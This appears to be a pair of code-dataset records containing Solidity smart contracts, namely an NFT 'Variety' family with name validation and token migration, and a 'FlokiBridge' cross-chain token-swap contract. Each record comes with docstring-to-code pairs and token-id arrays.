@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@///**********/**************/*@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@///////****/****************//@@@@@ // @@@*********@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(///////////*****************//@@@@@@ // @@@**************//////@@@@@@@@@@@@@@@@@@@((////////////***************//@@@@@@@ // @@@*********************////@@@@@@@@@@@@@((///////////////************//@@@@@@@@ // @@@@//**************//***//////@@@@@@@@@@(///////////////////*******//@@@@@@@@@@ // @@@@@/*****************////////((@@@@@@@((///((////////////////***//@@@@@@@@@@@@ // @@@@@@//*************////////////((@@@@@((//((////////////////////@@@@@@@@@@@@@@ // @@@@@@@//**********///////////////((@@@@((((//////////////////@@@@@@@@@@@@@@@@@@ // @@@@@@@@///******//////////////((//((@@@(((((((((((((((((@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@//*///////////////////(//((@(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@////////////////////(((((((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@/((((/////////////((((/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@((((((((@@@(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@(((((((((((@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@(((((((((((((((((((((((((((@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@###(((((((((((((((((((((((((###@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@####################################@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@#############################################@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol'; import './IVariety.sol'; import '../NFT/ERC721Helpers/ERC721Full.sol'; /// @title Variety Contract /// @author Simon Fremaux (@dievardump) contract Variety is IVariety, ERC721Full { event SeedChangeRequest(uint256 indexed tokenId, address indexed operator); // seedlings Sower address public sower; // last tokenId uint256 public lastTokenId; // each token seed mapping(uint256 => bytes32) internal tokenSeed; // names mapping(uint256 => string) public names; // useNames mapping(bytes32 => bool) public usedNames; // tokenIds with a request for seeds change mapping(uint256 => bool) internal seedChangeRequests; modifier onlySower() { require(msg.sender == sower, 'Not Sower.'); _; } /// @notice constructor /// @param name_ name of the contract (see ERC721) /// @param symbol_ symbol of the contract (see ERC721) /// @param contractURI_ The contract URI (containing its metadata) - can be empty "" /// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0) /// @param sower_ Sower contract constructor( string memory name_, string memory symbol_, string memory contractURI_, address openseaProxyRegistry_, address sower_ ) ERC721Ownable(name_, symbol_, contractURI_, openseaProxyRegistry_) { sower = sower_; } /// @notice mint `seeds.length` token(s) to `to` using `seeds` /// @param to token recipient /// @param seeds each token seed function plant(address to, bytes32[] memory seeds) external virtual override onlySower returns (uint256) { uint256 tokenId = lastTokenId; for (uint256 i; i < seeds.length; i++) { tokenId++; _safeMint(to, tokenId); tokenSeed[tokenId] = seeds[i]; } lastTokenId = tokenId; return tokenId; } /// @inheritdoc ERC165 function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Full, IERC165) returns (bool) { return super.supportsInterface(interfaceId); } /// @notice tokenURI override that returns a data:json application /// @inheritdoc ERC721 function tokenURI(uint256 tokenId) public view override returns (string memory) { require( _exists(tokenId), 'ERC721Metadata: URI query for nonexistent token' ); return _render(tokenId, tokenSeed[tokenId]); } /// @notice ERC2981 support - 4% royalties sent to Sower /// @inheritdoc IERC2981Royalties function royaltyInfo(uint256, uint256 value) public view override returns (address receiver, uint256 royaltyAmount) { receiver = sower; royaltyAmount = (value * 400) / 10000; } /// @inheritdoc IVariety function getTokenSeed(uint256 tokenId) external view override returns (bytes32) { require(_exists(tokenId), 'TokenSeed query for nonexistent token'); return tokenSeed[tokenId]; } /// @inheritdoc IVariety function requestSeedChange(uint256 tokenId) external override { require(ownerOf(tokenId) == msg.sender, 'Not token owner.'); seedChangeRequests[tokenId] = true; emit SeedChangeRequest(tokenId, msg.sender); } /// @inheritdoc IVariety function changeSeedAfterRequest(uint256 tokenId) external override onlySower { require(seedChangeRequests[tokenId] == true, 'No request for token.'); seedChangeRequests[tokenId] = false; tokenSeed[tokenId] = keccak256( abi.encode( tokenSeed[tokenId], block.timestamp, block.difficulty, blockhash(block.number - 1) ) ); } /// @notice Function allowing an owner to set the seedling name /// User needs to be extra careful. Some characters might completly break the token. /// Since the metadata are generated in the contract. /// if this ever happens, you can simply reset the name to nothing or for something else /// @dev sender must be tokenId owner /// @param tokenId the token to name /// @param seedlingName the name function setName(uint256 tokenId, string memory seedlingName) external virtual { require(ownerOf(tokenId) == msg.sender, 'Not token owner.'); bytes32 byteName = keccak256(abi.encodePacked(seedlingName)); // if the name is not empty, verify it is not used if (bytes(seedlingName).length > 0) { require(usedNames[byteName] == false, 'Name already used'); usedNames[byteName] = true; } // if it already has a name, mark all name as unused string memory oldName = names[tokenId]; if (bytes(oldName).length > 0) { byteName = keccak256(abi.encodePacked(oldName)); usedNames[byteName] = false; } names[tokenId] = seedlingName; } /// @notice function to get a token name /// @dev token must exist /// @param tokenId the token to get the name of /// @return the token name function getName(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), 'Unknown token'); return _getName(tokenId); } /// @dev internal function to get the name. Should be overrode by actual Variety contract /// @param tokenId the token to get the name of /// @return the token name function _getName(uint256 tokenId) internal view virtual returns (string memory) { return bytes(names[tokenId]).length > 0 ? names[tokenId] : 'Variety'; } /// @notice Function allowing to check the rendering for a given seed /// This allows to know what a seed would render without minting /// @param seed the seed to render /// @return the json function renderSeed(bytes32 seed) public view returns (string memory) { return _render(0, seed); } /// @dev Rendering function; should be overrode by the actual seedling contract /// @param tokenId the tokenId /// @param seed the seed /// @return the json function _render(uint256 tokenId, bytes32 seed) internal view virtual returns (string memory) { seed; return string( abi.encodePacked( 'data:application/json;utf8,{"name":"', _getName(tokenId), '"}' ) ); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import './Variety.sol'; /// @title VarietyRepot Contract /// @author Simon Fremaux (@dievardump) contract VarietyRepot is Variety { event SeedlingsRepoted(address user, uint256[] ids); // this is the address we will repot tokens from address public oldVariety; // during the first 3 days after the start of migration // we do not allow people to name, so people with names // in the old contract have time to migrate with theirs uint256 public disabledNamingUntil; /// @notice constructor /// @param name_ name of the contract (see ERC721) /// @param symbol_ symbol of the contract (see ERC721) /// @param contractURI_ The contract URI (containing its metadata) - can be empty "" /// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0) /// @param sower_ Sower contract constructor( string memory name_, string memory symbol_, string memory contractURI_, address openseaProxyRegistry_, address sower_, address oldVariety_ ) Variety(name_, symbol_, contractURI_, openseaProxyRegistry_, sower_) { sower = sower_; if (address(0) != oldVariety_) { oldVariety = oldVariety_; } // during 3 days, naming will be disabled as to give time to people to migrate from the old contract // to the new and keep their name disabledNamingUntil = block.timestamp + 3 days; } /// @inheritdoc Variety function plant(address, bytes32[] memory) external view override onlySower returns (uint256) { // this ensure that noone, even Sower, can directly mint tokens on this contract // they can only be created through the repoting method revert('No direct planting, only repot.'); } /// @notice Function allowing an owner to set the seedling name /// User needs to be extra careful. Some characters might completly break the token. /// Since the metadata are generated in the contract. /// if this ever happens, you can simply reset the name to nothing or for something else /// @dev sender must be tokenId owner /// @param tokenId the token to name /// @param seedlingName the name function setName(uint256 tokenId, string memory seedlingName) external override { require( block.timestamp > disabledNamingUntil, 'Naming feature disabled.' ); require(ownerOf(tokenId) == msg.sender, 'Not token owner.'); _setName(tokenId, seedlingName); } /// @notice Checks if the string is valid (0-9a-zA-Z,- ) with no leading, trailing or consecutives spaces /// This function is a modified version of the one in the Hashmasks contract /// @dev Explain to a developer any extra details /// @param str the name to validate /// @return if the name is valid function isNameValid(string memory str) public pure returns (bool) { bytes memory strBytes = bytes(str); if (strBytes.length < 1) return false; if (strBytes.length > 32) return false; // Cannot be longer than 32 characters if (strBytes[0] == 0x20) return false; // Leading space if (strBytes[strBytes.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar; bytes1 char; uint8 charCode; for (uint256 i; i < strBytes.length; i++) { char = strBytes[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces charCode = uint8(char); if ( !(charCode >= 97 && charCode <= 122) && // a - z !(charCode >= 65 && charCode <= 90) && // A - Z !(charCode >= 48 && charCode <= 57) && // 0 - 9 !(charCode == 32) && // space !(charCode == 44) && // , !(charCode == 45) // - ) { return false; } lastChar = char; } return true; } /// @notice Slugify a name (tolower and replace all non 0-9az by -) /// @param str the string to keyIfy /// @return the key function slugify(string memory str) public pure returns (string memory) { bytes memory strBytes = bytes(str); bytes memory lowerCase = new bytes(strBytes.length); uint8 charCode; bytes1 char; for (uint256 i; i < strBytes.length; i++) { char = strBytes[i]; charCode = uint8(char); // if 0-9, a-z use the character if ( (charCode >= 48 && charCode <= 57) || (charCode >= 97 && charCode <= 122) ) { lowerCase[i] = char; } else if (charCode >= 65 && charCode <= 90) { // if A-Z, use lowercase lowerCase[i] = bytes1(charCode + 32); } else { // for all others, return a - lowerCase[i] = 0x2D; } } return string(lowerCase); } /// @notice repot (migrate and burn) the seedlings of `users` from the old variety contract to the new one /// to give them the exact same token id, seed and custom name if valid, on this contract /// The old token is burned (deleted) forever from the old contract /// @dev we do not need to check that `user` we transferFrom is not the current contract, because _safeMint /// would fail if we tried to mint the same tokenId twice /// @param users an array of users /// @param maxTokensAtOnce a limit of token to migrate at once, since a few users have strong hands function repotUsersSeedlings( address[] memory users, uint256 maxTokensAtOnce ) external { require( // only the contract owner msg.sender == owner() || // or someone trying to migrate their own tokens can call this function (users.length == 1 && users[0] == msg.sender), 'Not allowed to migrate.' ); Variety oldVariety_ = Variety(oldVariety); address me = address(this); address user; uint256 migrated; for (uint256 j; j < users.length && (migrated < maxTokensAtOnce); j++) { user = users[j]; uint256 userBalance = oldVariety_.balanceOf(user); if (userBalance == 0) continue; uint256 end = userBalance; // some users might have too many tokens to do that in one transaction if (userBalance > (maxTokensAtOnce - migrated)) { end = (maxTokensAtOnce - migrated); } uint256[] memory ids = new uint256[](end); uint256 tokenId; bytes32 seed; bytes32 slugBytes; string memory seedlingName; for (uint256 i; i < end; i++) { // get the last token id owned by the user // this is a bit cheaper than always getting index 0 // because when removing last there is no "reorg" in the EnumerableSet tokenId = oldVariety_.tokenOfOwnerByIndex( user, userBalance - (i + 1) // this takes the last id in the user list ); // get the token seed seed = oldVariety_.getTokenSeed(tokenId); // get the token name seedlingName = oldVariety_.getName(tokenId); // burn the old token first oldVariety_.burn(tokenId); // create the same token id in this contract for this user _safeMint(user, tokenId, ''); // set exact same seed tokenSeed[tokenId] = seed; // if the seedling had a name and the name is valid if ( bytes(seedlingName).length > 0 && isNameValid(seedlingName) ) { slugBytes = keccak256(bytes(slugify(seedlingName))); // and is not already used if (!usedNames[slugBytes]) { // then use it usedNames[slugBytes] = true; names[tokenId] = seedlingName; } } ids[i] = tokenId; } migrated += end; emit SeedlingsRepoted(user, ids); } } /// @dev allows to set a name internally. /// checks that the name is valid and not used, else throws /// @param tokenId the token to name /// @param seedlingName the name function _setName(uint256 tokenId, string memory seedlingName) internal { bytes32 slugBytes; // if the name is not empty, require that it's valid and not used if (bytes(seedlingName).length > 0) { require(isNameValid(seedlingName) == true, 'Invalid name.'); // also requires the name is not already used slugBytes = keccak256(bytes(slugify(seedlingName))); require(usedNames[slugBytes] == false, 'Name already used.'); // set as used usedNames[slugBytes] = true; } // if it already has a name, mark the old name as unused string memory oldName = names[tokenId]; if (bytes(oldName).length > 0) { slugBytes = keccak256(bytes(slugify(oldName))); usedNames[slugBytes] = false; } names[tokenId] = seedlingName; } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '../VarietyRepot.sol'; import '../IRenderer.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; /// @title _512PrintRepot /// @author Simon Fremaux (@dievardump) contract _512PrintRepot is VarietyRepot { using Strings for uint256; IRenderer public renderer; /// @notice constructor /// @param name_ name of the contract (see ERC721) /// @param symbol_ symbol of the contract (see ERC721) /// @param contractURI_ The contract URI (containing its metadata) - can be empty "" /// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0) /// @param sower_ Sower contract /// @param renderer_ the renderer contract /// @param oldContract_ the oldContract for migration constructor( string memory name_, string memory symbol_, string memory contractURI_, address openseaProxyRegistry_, address sower_, address renderer_, address oldContract_ ) VarietyRepot( name_, symbol_, contractURI_, openseaProxyRegistry_, sower_, oldContract_ ) { renderer = IRenderer(renderer_); } /// @notice This function is a function that allows to update the current renderer /// to a version where "rounded-stroke-gradient" misprints are fixed /// this function will only be called in the case of a positive vote from 512Print holders function updateRenderer(address newRenderer) external onlyOwner { renderer = IRenderer(newRenderer); } /// @dev internal function to get the name. Should be overrode by actual Variety contract /// @param tokenId the token to get the name of /// @return seedlingName the token name function _getName(uint256 tokenId) internal view override returns (string memory seedlingName) { seedlingName = names[tokenId]; if (bytes(seedlingName).length == 0) { seedlingName = string( abi.encodePacked('512Print.sol #', tokenId.toString()) ); } } /// @dev Rendering function; should be overrode by the actual seedling contract /// @param tokenId the tokenId /// @param seed the seed /// @return the json function _render(uint256 tokenId, bytes32 seed) internal view virtual override returns (string memory) { return IRenderer(renderer).render(_getName(tokenId), tokenId, seed); } }
@dev internal function to get the name. Should be overrode by actual Variety contract @param tokenId the token to get the name of @return the token name
function _getName(uint256 tokenId) internal view virtual returns (string memory) { return bytes(names[tokenId]).length > 0 ? names[tokenId] : 'Variety'; }
10,311,269
[ 1, 7236, 445, 358, 336, 326, 508, 18, 9363, 506, 1879, 303, 323, 635, 3214, 4562, 6213, 93, 6835, 225, 1147, 548, 326, 1147, 358, 336, 326, 508, 434, 327, 326, 1147, 508, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 17994, 12, 11890, 5034, 1147, 548, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 1135, 261, 1080, 3778, 13, 203, 565, 288, 203, 3639, 327, 1731, 12, 1973, 63, 2316, 548, 65, 2934, 2469, 405, 374, 692, 1257, 63, 2316, 548, 65, 294, 296, 4205, 14369, 13506, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/interfaces/IERC20.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; // File: bridge.sol pragma solidity ^0.8.4; interface IERC20Decimals is IERC20 { function decimals() external view returns (uint8); } /** * @title OKLGAtomicSwapInstance * @dev This is the main contract that supports holding metadata for OKLG atomic inter and intrachain swapping */ contract FlokiBridge is Ownable { IERC20Decimals private _token; address public tokenOwner; address payable public oracleAddress; uint256 public maxSwapAmount; uint8 public targetTokenDecimals; uint256 public minimumGasForOperation = 5 * 10**15; // 2 finney (0.002 ETH) bool public isActive = true; struct Swap { bytes32 id; uint256 origTimestamp; uint256 currentTimestamp; bool isOutbound; bool isComplete; bool isRefunded; bool isSendGasFunded; address swapAddress; uint256 amount; } mapping(bytes32 => Swap) public swaps; mapping(address => Swap) public lastUserSwap; event ReceiveTokensFromSource( bytes32 indexed id, uint256 origTimestamp, address sender, uint256 amount ); event SendTokensToDestination( bytes32 indexed id, address receiver, uint256 amount ); event RefundTokensToSource( bytes32 indexed id, address sender, uint256 amount ); event swapFunded( bytes32 indexed id, address sender, uint256 amount ); event TokenOwnerUpdated(address previousOwner, address newOwner); constructor( address _oracleAddress, address _tokenOwner, address _tokenAddy, uint8 _targetTokenDecimals, uint256 _maxSwapAmount ) { oracleAddress = payable(_oracleAddress); tokenOwner = _tokenOwner; _token = IERC20Decimals(_tokenAddy); targetTokenDecimals = _targetTokenDecimals; maxSwapAmount = _maxSwapAmount; } function getSwapTokenAddress() external view returns (address) { return address(_token); } function setActiveState(bool _isActive) external { require( msg.sender == owner() || msg.sender == tokenOwner, "setActiveState user must be contract creator" ); isActive = _isActive; } function setOracleAddress(address _oracleAddress) external onlyOwner { oracleAddress = payable(_oracleAddress); transferOwnership(oracleAddress); } function setTargetTokenDecimals(uint8 _decimals) external onlyOwner { targetTokenDecimals = _decimals; } function setTokenOwner(address newOwner) external { require( msg.sender == tokenOwner, "user must be current token owner to change it" ); address previousOwner = tokenOwner; tokenOwner = newOwner; emit TokenOwnerUpdated(previousOwner, newOwner); } function withdrawTokens(uint256 _amount) external { require( msg.sender == tokenOwner, "withdrawTokens user must be token owner" ); _token.transfer(msg.sender, _amount); } function setSwapCompletionStatus(bytes32 _id, bool _isComplete) external onlyOwner { swaps[_id].isComplete = _isComplete; } function setMinimumGasForOperation(uint256 _amountGas) external onlyOwner { minimumGasForOperation = _amountGas; } function receiveTokensFromSource(uint256 _amount) external payable returns (bytes32, uint256) { require(isActive, "this atomic swap instance is not active"); require( msg.value >= minimumGasForOperation, "you must also send enough gas to cover the target transaction" ); require( maxSwapAmount == 0 || _amount <= maxSwapAmount, "trying to send more than maxSwapAmount" ); // _payForService(minimumGasForOperation); if (minimumGasForOperation > 0) { oracleAddress.call{value: minimumGasForOperation}(""); } _token.transferFrom(msg.sender, address(this), _amount); uint256 _ts = block.timestamp; bytes32 _id = sha256(abi.encodePacked(msg.sender, _ts, _amount)); swaps[_id] = Swap({ id: _id, origTimestamp: _ts, currentTimestamp: _ts, isOutbound: false, isComplete: false, isRefunded: false, isSendGasFunded: false, swapAddress: msg.sender, amount: _amount }); lastUserSwap[msg.sender] = swaps[_id]; emit ReceiveTokensFromSource(_id, _ts, msg.sender, _amount); return (_id, _ts); } function unsetLastUserSwap(address _addy) external onlyOwner { delete lastUserSwap[_addy]; } // msg.sender must be the user who originally created the swap. // Otherwise, the unique identifier will not match from the originally // sending txn. // // NOTE: We're aware this function can be spoofed by creating a sha256 hash of msg.sender's address // and _origTimestamp, but it's important to note refundTokensFromSource and sendTokensToDestination // can only be executed by the owner/oracle. Therefore validation should be done by the oracle before // executing those and the only possibility of a vulnerability is if someone has compromised the oracle account. function fundSendToDestinationGas( bytes32 _id, uint256 _origTimestamp, uint256 _amount ) external payable { require( msg.value >= minimumGasForOperation, "you must send enough gas to cover the send transaction" ); require( _id == sha256(abi.encodePacked(msg.sender, _origTimestamp, _amount)), "we don't recognize this swap" ); if (minimumGasForOperation > 0) { oracleAddress.call{value: minimumGasForOperation}(""); } // swaps[_id] = Swap({ // id: _id, // origTimestamp: _origTimestamp, // currentTimestamp: block.timestamp, // isOutbound: true, // isComplete: false, // isRefunded: false, // isSendGasFunded: true, // swapAddress: msg.sender, // amount: _amount // }); swaps[_id].id = _id; swaps[_id].origTimestamp = _origTimestamp; swaps[_id].isOutbound = true; swaps[_id].isSendGasFunded = true; swaps[_id].swapAddress = msg.sender; swaps[_id].amount = _amount; emit swapFunded(_id, msg.sender, _amount); } // This must be called AFTER fundSendToDestinationGas has been executed // for this txn to fund this send operation function refundTokensFromSource(bytes32 _id) external { require(isActive, "this atomic swap instance is not active"); Swap storage swap = swaps[_id]; _confirmSwapExistsGasFundedAndSenderValid(swap); swap.isRefunded = true; _token.transfer(swap.swapAddress, swap.amount); emit RefundTokensToSource(_id, swap.swapAddress, swap.amount); } // This must be called AFTER fundSendToDestinationGas has been executed // for this txn to fund this send operation function sendTokensToDestination(bytes32 _id) external returns (bytes32) { require(isActive, "this atomic swap instance is not active"); Swap storage swap = swaps[_id]; _confirmSwapExistsGasFundedAndSenderValid(swap); // handle if this token and target chain token in bridge have different decimals // current decimals = 9 -- 100 tokens == 100000000000 // target decimals = 18 -- 100 tokens == 100000000000000000000 // to get current amount to transfer, need to multiply by ratio of 10^currentDecimals / 10^targetDecimals uint256 _swapAmount = swap.amount; if (targetTokenDecimals > 0) { _swapAmount = (_swapAmount * 10**_token.decimals()) / 10**targetTokenDecimals; } _token.transfer(swap.swapAddress, _swapAmount); swap.currentTimestamp = block.timestamp; swap.isComplete = true; emit SendTokensToDestination(_id, swap.swapAddress, _swapAmount); return _id; } function _confirmSwapExistsGasFundedAndSenderValid(Swap memory swap) private view onlyOwner { // functions that call this should only be called by the current owner // or oracle address as they will do the appropriate validation beforehand // to confirm the receiving swap is valid before sending tokens to the user. require( swap.origTimestamp > 0 && swap.amount > 0, "swap does not exist yet." ); // We're just validating here that the swap has not been // completed and gas has been funded before moving forward. require( !swap.isComplete && !swap.isRefunded && swap.isSendGasFunded, "swap has already been completed, refunded, or gas has not been funded" ); } }
swaps[_id] = Swap({ id: _id, origTimestamp: _origTimestamp, currentTimestamp: block.timestamp, isOutbound: true, isComplete: false, isRefunded: false, isSendGasFunded: true, swapAddress: msg.sender, amount: _amount });
swaps[_id].id = _id;
1,392,901
